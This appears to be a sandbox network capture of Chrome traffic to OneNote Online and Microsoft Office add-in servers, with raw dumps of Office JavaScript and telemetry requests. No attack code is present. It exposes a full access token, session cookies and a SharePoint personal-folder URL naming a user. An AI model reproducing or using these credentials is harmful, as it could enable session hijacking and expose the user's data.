OSF.OUtil.defineNondefaultProperties(e,t,[
2024-07-16 11:07:22 UTC	16384	IN	Data Raw: 73 3d 7b 7d 2c 4f 53 46 2e 44 44 41 2e 4c 69 73 74 44 65 73 63 72 69 70 74 6f 72 73 3d 7b 7d 2c 4f 53 46 2e 44 44 41 2e 55 49 3d 7b 7d 2c 4f 53 46 2e 44 44 41 2e 67 65 74 58 64 6d 45 76 65 6e 74 4e 61 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 57 65 62 45 78 74 65 6e 73 69 6f 6e 2e 45 76 65 6e 74 54 79 70 65 2e 42 69 6e 64 69 6e 67 53 65 6c 65 63 74 69 6f 6e 43 68 61 6e 67 65 64 7c 7c 74 3d 3d 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 57 65 62 45 78 74 65 6e 73 69 6f 6e 2e 45 76 65 6e 74 54 79 70 65 2e 42 69 6e 64 69 6e 67 44 61 74 61 43 68 61 6e 67 65 64 7c 7c 74 3d 3d 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 57 65 62 45 78 74 65 6e 73 69 6f 6e 2e Data Ascii: s={},OSF.DDA.ListDescriptors={},OSF.DDA.UI={},OSF.DDA.getXdmEventName=function(e,t){return t==Microsoft.Office.WebExtension.EventType.BindingSelectionChanged\|\|t==Microsoft.Office.WebExtension.EventType.BindingDataChanged\|\|t==Microsoft.Office.WebExtension.
2024-07-16 11:07:22 UTC	16384	IN	Data Raw: 53 70 65 63 69 66 69 65 64 49 64 4e 6f 74 45 78 69 73 74 7d 2c 65 5b 4f 53 46 2e 44 44 41 2e 45 72 72 6f 72 43 6f 64 65 4d 61 6e 61 67 65 72 2e 65 72 72 6f 72 43 6f 64 65 73 2e 6f 6f 65 4e 61 76 4f 75 74 4f 66 42 6f 75 6e 64 5d 3d 7b 6e 61 6d 65 3a 74 2e 4c 5f 4e 61 76 4f 75 74 4f 66 42 6f 75 6e 64 2c 6d 65 73 73 61 67 65 3a 74 2e 4c 5f 4e 61 76 4f 75 74 4f 66 42 6f 75 6e 64 7d 2c 65 5b 4f 53 46 2e 44 44 41 2e 45 72 72 6f 72 43 6f 64 65 4d 61 6e 61 67 65 72 2e 65 72 72 6f 72 43 6f 64 65 73 2e 6f 6f 65 43 65 6c 6c 44 61 74 61 41 6d 6f 75 6e 74 42 65 79 6f 6e 64 4c 69 6d 69 74 73 5d 3d 7b 6e 61 6d 65 3a 74 2e 4c 5f 44 61 74 61 57 72 69 74 65 52 65 6d 69 6e 64 65 72 2c 6d 65 73 73 61 67 65 3a 74 2e 4c 5f 43 65 6c 6c 44 61 74 61 41 6d 6f 75 6e 74 42 65 79 6f Data Ascii: SpecifiedIdNotExist},e[OSF.DDA.ErrorCodeManager.errorCodes.ooeNavOutOfBound]={name:t.L_NavOutOfBound,message:t.L_NavOutOfBound},e[OSF.DDA.ErrorCodeManager.errorCodes.ooeCellDataAmountBeyondLimits]={name:t.L_DataWriteReminder,message:t.L_CellDataAmountBeyo
2024-07-16 11:07:22 UTC	16384	IN	Data Raw: 73 2c 22 65 78 74 65 6e 73 69 6f 6e 4c 69 66 65 43 79 63 6c 65 22 2c 7b 76 61 6c 75 65 3a 65 2e 65 78 74 65 6e 73 69 6f 6e 4c 69 66 65 43 79 63 6c 65 7d 29 2c 65 2e 6d 65 73 73 61 67 69 6e 67 26 26 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 45 6e 75 6d 65 72 61 62 6c 65 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 22 6d 65 73 73 61 67 69 6e 67 22 2c 7b 76 61 6c 75 65 3a 65 2e 6d 65 73 73 61 67 69 6e 67 7d 29 2c 65 2e 75 69 26 26 65 2e 75 69 2e 74 61 73 6b 50 61 6e 65 41 63 74 69 6f 6e 26 26 4f 53 46 2e 4f 55 74 69 6c 2e 64 65 66 69 6e 65 45 6e 75 6d 65 72 61 62 6c 65 50 72 6f 70 65 72 74 79 28 74 68 69 73 2c 22 74 61 73 6b 50 61 6e 65 41 63 74 69 6f 6e 22 2c 7b 76 61 6c 75 65 3a 65 2e 75 69 2e 74 61 73 6b 50 61 6e 65 41 63 74 69 6f 6e 7d 29 2c 65 2e 75 Data Ascii: s,"extensionLifeCycle",{value:e.extensionLifeCycle}),e.messaging&&OSF.OUtil.defineEnumerableProperty(this,"messaging",{value:e.messaging}),e.ui&&e.ui.taskPaneAction&&OSF.OUtil.defineEnumerableProperty(this,"taskPaneAction",{value:e.ui.taskPaneAction}),e.u
2024-07-16 11:07:22 UTC	16384	IN	Data Raw: 70 69 64 47 65 74 44 61 74 61 4e 6f 64 65 56 61 6c 75 65 4d 65 74 68 6f 64 2c 47 65 74 4e 6f 64 65 58 6d 6c 41 73 79 6e 63 3a 72 2e 64 69 73 70 69 64 47 65 74 44 61 74 61 4e 6f 64 65 58 6d 6c 4d 65 74 68 6f 64 2c 47 65 74 52 65 6c 61 74 0d 0a 38 30 30 30 0d 0a 69 76 65 4e 6f 64 65 73 41 73 79 6e 63 3a 72 2e 64 69 73 70 69 64 47 65 74 44 61 74 61 4e 6f 64 65 73 4d 65 74 68 6f 64 2c 53 65 74 4e 6f 64 65 56 61 6c 75 65 41 73 79 6e 63 3a 72 2e 64 69 73 70 69 64 53 65 74 44 61 74 61 4e 6f 64 65 56 61 6c 75 65 4d 65 74 68 6f 64 2c 53 65 74 4e 6f 64 65 58 6d 6c 41 73 79 6e 63 3a 72 2e 64 69 73 70 69 64 53 65 74 44 61 74 61 4e 6f 64 65 58 6d 6c 4d 65 74 68 6f 64 2c 41 64 64 44 61 74 61 50 61 72 74 4e 61 6d 65 73 70 61 63 65 41 73 79 6e 63 3a 72 2e 64 69 73 70 69 Data Ascii: pidGetDataNodeValueMethod,GetNodeXmlAsync:r.dispidGetDataNodeXmlMethod,GetRelat8000iveNodesAsync:r.dispidGetDataNodesMethod,SetNodeValueAsync:r.dispidSetDataNodeValueMethod,SetNodeXmlAsync:r.dispidSetDataNodeXmlMethod,AddDataPartNamespaceAsync:r.dispi
2024-07-16 11:07:22 UTC	16384	IN	Data Raw: 65 74 75 72 6e 7d 63 61 74 63 68 28 6e 29 7b 74 72 79 7b 76 61 72 20 6f 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 69 66 28 6f 2e 68 72 65 66 3d 65 2c 22 68 74 74 70 73 3a 22 21 3d 3d 6f 2e 70 72 6f 74 6f 63 6f 6c 29 72 65 74 75 72 6e 3b 76 61 72 20 72 3d 65 2e 6d 61 74 63 68 28 6e 65 77 20 52 65 67 45 78 70 28 22 5e 68 74 74 70 73 3a 2f 2f 5b 5e 2f 3f 23 5d 2b 22 2c 22 69 22 29 29 2c 69 3d 72 26 26 31 3d 3d 72 2e 6c 65 6e 67 74 68 3f 72 5b 30 5d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 22 22 2c 61 3d 28 6f 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 6f 2e 68 6f 73 74 6e 61 6d 65 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 28 6f 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 6f 2e 68 6f 73 74 29 2e 74 6f Data Ascii: eturn}catch(n){try{var o=document.createElement("a");if(o.href=e,"https:"!==o.protocol)return;var r=e.match(new RegExp("^https://[^/?#]+","i")),i=r&&1==r.length?r[0].toLowerCase():"",a=(o.protocol+"//"+o.hostname).toLowerCase();(o.protocol+"//"+o.host).to
2024-07-16 11:07:22 UTC	16384	IN	Data Raw: 28 29 7d 63 61 74 63 68 28 65 29 7b 74 72 79 7b 6e 75 6c 6c 21 3d 3d 74 26 26 74 28 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 6f 6e 2e 49 6e 76 6f 6b 65 52 65 73 75 6c 74 43 6f 64 65 2e 65 72 72 6f 72 49 6e 52 65 71 75 65 73 74 2c 65 29 7d 0d 0a 38 30 30 30 0d 0a 66 69 6e 61 6c 6c 79 7b 64 65 6c 65 74 65 20 74 68 69 73 2e 5f 63 61 6c 6c 62 61 63 6b 4c 69 73 74 5b 72 5d 7d 7d 66 69 6e 61 6c 6c 79 7b 64 65 6c 65 74 65 20 74 68 69 73 2e 5f 65 76 65 6e 74 48 61 6e 64 6c 65 72 4c 69 73 74 5b 65 5d 7d 7d 7d 2c 4d 69 63 72 6f 73 6f 66 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 6d 6f 6e 2e 58 64 6d 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 4d 61 6e 61 67 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 5b 5d 2c 74 3d 6e 75 6c 6c 2c 6e 3d 6e Data Ascii: ()}catch(e){try{null!==t&&t(Microsoft.Office.Common.InvokeResultCode.errorInRequest,e)}8000finally{delete this._callbackList[r]}}finally{delete this._eventHandlerList[e]}}},Microsoft.Office.Common.XdmCommunicationManager=function(){var e=[],t=null,n=n
2024-07-16 11:07:22 UTC	16384	IN	Data Raw: 68 6f 73 74 43 61 6c 6c 41 72 67 73 7c 7c 28 65 2e 68 6f 73 74 43 61 6c 6c 41 72 67 73 3d 7b 7d 29 2c 65 2e 68 6f 73 74 43 61 6c 6c 41 72 67 73 2e 44 64 61 4d 65 74 68 6f 64 3d 7b 43 6f 6e 74 72 6f 6c 49 64 3a 4f 53 46 2e 5f 4f 66 66 69 63 65 41 70 70 46 61 63 74 6f 72 79 2e 67 65 74 49 64 28 29 2c 56 65 72 73 69 6f 6e 3a 4f 53 46 2e 44 44 41 2e 57 41 43 2e 44 65 6c 65 67 61 74 65 2e 76 65 72 73 69 6f 6e 2c 44 69 73 70 61 74 63 68 49 64 3a 65 2e 64 69 73 70 49 64 7d 2c 65 2e 68 6f 73 74 43 61 6c 6c 41 72 67 73 2e 5f 5f 74 69 6d 65 6f 75 74 5f 5f 3d 2d 31 2c 65 2e 6f 6e 43 61 6c 6c 69 6e 67 26 26 65 2e 6f 6e 43 61 6c 6c 69 6e 67 28 29 2c 4f 53 46 2e 67 65 74 43 6c 69 65 6e 74 45 6e 64 50 6f 69 6e 74 28 29 26 26 4f 53 46 2e 67 65 74 43 6c 69 65 6e 74 45 6e Data Ascii: hostCallArgs\|\|(e.hostCallArgs={}),e.hostCallArgs.DdaMethod={ControlId:OSF._OfficeAppFactory.getId(),Version:OSF.DDA.WAC.Delegate.version,DispatchId:e.dispId},e.hostCallArgs.__timeout__=-1,e.onCalling&&e.onCalling(),OSF.getClientEndPoint()&&OSF.getClientEn
2024-07-16 11:07:22 UTC	16384	IN	Data Raw: 65 2e 5f 77 65 62 41 70 70 53 74 61 74 65 2e 69 64 2c 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 41 63 74 69 6f 6e 2e 45 78 69 74 4e 6f 46 6f 63 75 73 61 62 6c 65 53 68 69 66 74 5d 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 41 63 74 69 6f 6e 2e 53 65 0d 0a 38 30 30 30 0d 0a 6e 64 4d 65 73 73 61 67 65 3a 69 66 28 77 69 6e 64 6f 77 2e 4f 66 66 69 63 65 2e 63 6f 6e 74 65 78 74 2e 6d 65 73 73 61 67 69 6e 67 2e 6f 6e 4d 65 73 73 61 67 65 29 7b 76 61 72 20 72 3d 74 5b 31 5d 3b 77 69 6e 64 6f 77 2e 4f 66 66 69 63 65 2e 63 6f 6e 74 65 78 74 2e 6d 65 73 73 61 67 69 6e 67 2e 6f 6e 4d 65 73 73 61 67 65 28 72 29 7d 62 72 65 61 6b 3b 63 61 73 65 20 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 41 63 74 69 6f 6e 2e 54 61 73 6b 50 61 6e 65 48 Data Ascii: e._webAppState.id,OSF.AgaveHostAction.ExitNoFocusableShift]));break;case OSF.AgaveHostAction.Se8000ndMessage:if(window.Office.context.messaging.onMessage){var r=t[1];window.Office.context.messaging.onMessage(r)}break;case OSF.AgaveHostAction.TaskPaneH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50008	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:22 UTC	3656	OUT	POST /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 29528 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIw [TRUNCATED] X-AccessTokenTtl: 1721164012481 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:07:22 UTC	16384	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 33 36 36 31 31 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 30 37 35 32 34 34 39 39 2c 22 54 22 3a 30 2c 22 4d 22 3a 22 43 6f 72 65 20 54 6f 6b 65 6e 20 46 65 74 63 68 3a 20 53 75 63 63 65 73 73 3d 66 61 6c 73 65 2c 20 45 78 70 69 72 61 74 69 6f 6e 54 69 6d 65 3d 2c 20 46 65 74 63 68 65 64 4e 65 77 54 6f 6b 65 6e 3d 66 61 6c 73 65 22 2c 22 43 22 3a 33 30 30 30 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 37 35 32 34 35 30 30 2c 22 54 22 3a 30 2c 22 4d 22 3a 22 43 6f 72 65 20 54 6f 6b 65 6e 20 52 65 66 72 65 73 68 3a 20 53 63 68 65 64 75 6c 69 6e 67 20 52 65 66 72 65 73 68 20 69 6e 20 33 30 30 30 30 30 20 6d 73 22 2c 22 43 22 3a 33 30 30 30 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 36 32 39 34 33 33 36 39 2c 22 54 22 3a Data Ascii: {"T":1721128036611,"L":[{"G":507524499,"T":0,"M":"Core Token Fetch: Success=false, ExpirationTime=, FetchedNewToken=false","C":3000,"D":50},{"G":507524500,"T":0,"M":"Core Token Refresh: Scheduling Refresh in 300000 ms","C":3000,"D":50},{"G":562943369,"T":
2024-07-16 11:07:22 UTC	13144	OUT	Data Raw: 72 75 65 2c 20 62 79 20 70 6f 6c 69 63 79 3a 20 22 2c 22 43 22 3a 33 30 30 34 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 32 36 37 31 33 31 30 36 2c 22 54 22 3a 33 32 2c 22 4d 22 3a 22 46 65 61 74 75 72 65 4e 61 6d 65 3d 4d 73 6f 50 72 65 6d 69 75 6d 42 61 64 67 65 2c 20 49 73 45 6e 61 62 6c 65 64 3d 66 61 6c 73 65 2c 20 49 73 53 75 63 63 65 73 73 3d 74 72 75 65 22 2c 22 43 22 3a 33 30 30 34 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 34 31 34 31 31 30 38 32 2c 22 54 22 3a 33 36 2c 22 4d 22 3a 22 53 65 6e 64 54 6f 57 6f 72 6b 65 72 41 70 69 20 77 69 74 68 20 61 63 74 69 76 69 74 79 22 2c 22 43 22 3a 32 32 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 34 31 34 31 31 30 38 32 2c 22 54 22 3a 33 36 2c 22 4d 22 3a 22 53 65 6e 64 54 6f 57 6f 72 6b 65 72 41 Data Ascii: rue, by policy: ","C":3004,"D":50},{"G":526713106,"T":32,"M":"FeatureName=MsoPremiumBadge, IsEnabled=false, IsSuccess=true","C":3004,"D":50},{"G":541411082,"T":36,"M":"SendToWorkerApi with activity","C":226,"D":50},{"G":541411082,"T":36,"M":"SendToWorkerA
2024-07-16 11:07:23 UTC	1672	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 5a1f9457-723c-4283-bfb7-c3ac909f96a6 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017825 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5d&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017825 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_pptcapacity_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 65639C03D914449D83F6414167510E08 Ref B: EWR311000107047 Ref C: 2024-07-16T11:07:22Z Date: Tue, 16 Jul 2024 11:07:23 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50007	13.107.246.42	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:22 UTC	596	OUT	GET /lib/1.1/hosted/telemetry/oteljs_agave.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.onenote.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.onenote.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:22 UTC	1435	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:22 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Fri, 12 Jul 2024 16:48:25 GMT x-ms-request-id: 9b20457c-d01e-0001-809d-d49dde000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.200.89.136,b=527636331,c=g,n=US_NJ_SECAUCUS,o=20940] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=SECAUCUS&ASN=20940&Country=US&Region=NJ&RequestIdentifier=0.8859c817.1721086617.1f73176b&TotalRTCDNTime=6&CompressionType=gzip&FileSize=0"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=6, clienttt; dur=85, origin; dur=0 , cdntime; dur=85 Akamai-Cache-Status: RefreshHit from child, Miss from parent X-CDN-Bucket: 4 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20240716T110722Z-15b94bb6ff9wl9zja15kx3k24s00000009f0000000000vrh x-fd-int-roxy-purgeid: 66127294 X-Cache: TCP_HIT X-Cache-Info: L1_T2
2024-07-16 11:07:22 UTC	14949	IN	Data Raw: 33 36 39 35 0d 0a 76 61 72 20 6f 74 65 6c 6a 73 5f 61 67 61 76 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 69 29 7b 69 66 28 74 5b 69 5d 29 72 65 74 75 72 6e 20 74 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 69 5d 3d 7b 69 3a 69 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 69 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6e 2e 6d 3d 65 2c 6e 2e 63 3d 74 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 6e 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 65 Data Ascii: 3695var oteljs_agave=function(e){var t={};function n(i){if(t[i])return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{e
2024-07-16 11:07:23 UTC	16384	IN	Data Raw: 3d 6e 28 31 30 29 2c 72 3d 6e 28 30 29 2c 6f 3d 6e 28 36 29 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 74 68 69 73 2e 5f 61 6c 6c 6f 77 44 65 76 69 63 65 46 69 65 6c 64 73 3d 65 2c 74 68 69 73 2e 5f 70 72 6f 70 65 72 74 69 65 73 3d 74 7d 72 65 74 75 72 6e 20 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 70 70 49 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f 61 64 64 43 6f 6e 74 65 78 74 28 22 41 70 70 49 6e 66 6f 2e 49 64 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 70 70 56 65 72 73 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f 61 64 64 43 6f 6e 74 65 78 74 28 22 41 70 70 49 6e 66 6f 2e 56 65 72 73 69 6f 6e 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 Data Ascii: =n(10),r=n(0),o=n(6),s=function(){function e(e,t){this._allowDeviceFields=e,this._properties=t}return e.prototype.setAppId=function(e){this._addContext("AppInfo.Id",e)},e.prototype.setAppVersion=function(e){this._addContext("AppInfo.Version",e)},e.prototy
2024-07-16 11:07:23 UTC	16384	IN	Data Raw: 6f 72 69 74 79 2e 4e 6f 72 6d 61 6c 29 2c 74 68 69 73 2e 5f 73 65 6e 64 45 76 65 6e 74 28 65 29 29 3a 75 2e 64 65 66 61 75 6c 74 2e 65 76 65 6e 74 73 52 65 6a 65 63 74 65 64 28 5b 65 5d 2c 69 2e 41 57 54 45 76 65 6e 74 73 52 65 6a 65 63 74 65 64 52 65 61 73 6f 6e 2e 49 6e 76 61 6c 69 64 45 76 65 6e 74 29 29 3a 75 2e 64 65 66 61 75 6c 74 2e 65 76 65 6e 74 73 52 65 6a 65 63 74 65 64 28 5b 65 5d 2c 69 2e 41 57 54 45 76 65 6e 74 73 52 65 6a 65 63 74 65 64 52 65 61 73 6f 6e 2e 49 6e 76 61 6c 69 64 45 76 65 6e 74 29 7d 2c 65 2e 5f 61 64 64 43 6f 6e 74 65 78 74 49 66 41 62 73 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 29 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6e 29 26 26 28 65 2e 70 Data Ascii: ority.Normal),this._sendEvent(e)):u.default.eventsRejected([e],i.AWTEventsRejectedReason.InvalidEvent)):u.default.eventsRejected([e],i.AWTEventsRejectedReason.InvalidEvent)},e._addContextIfAbsent=function(e,t){if(t)for(var n in t)t.hasOwnProperty(n)&&(e.p
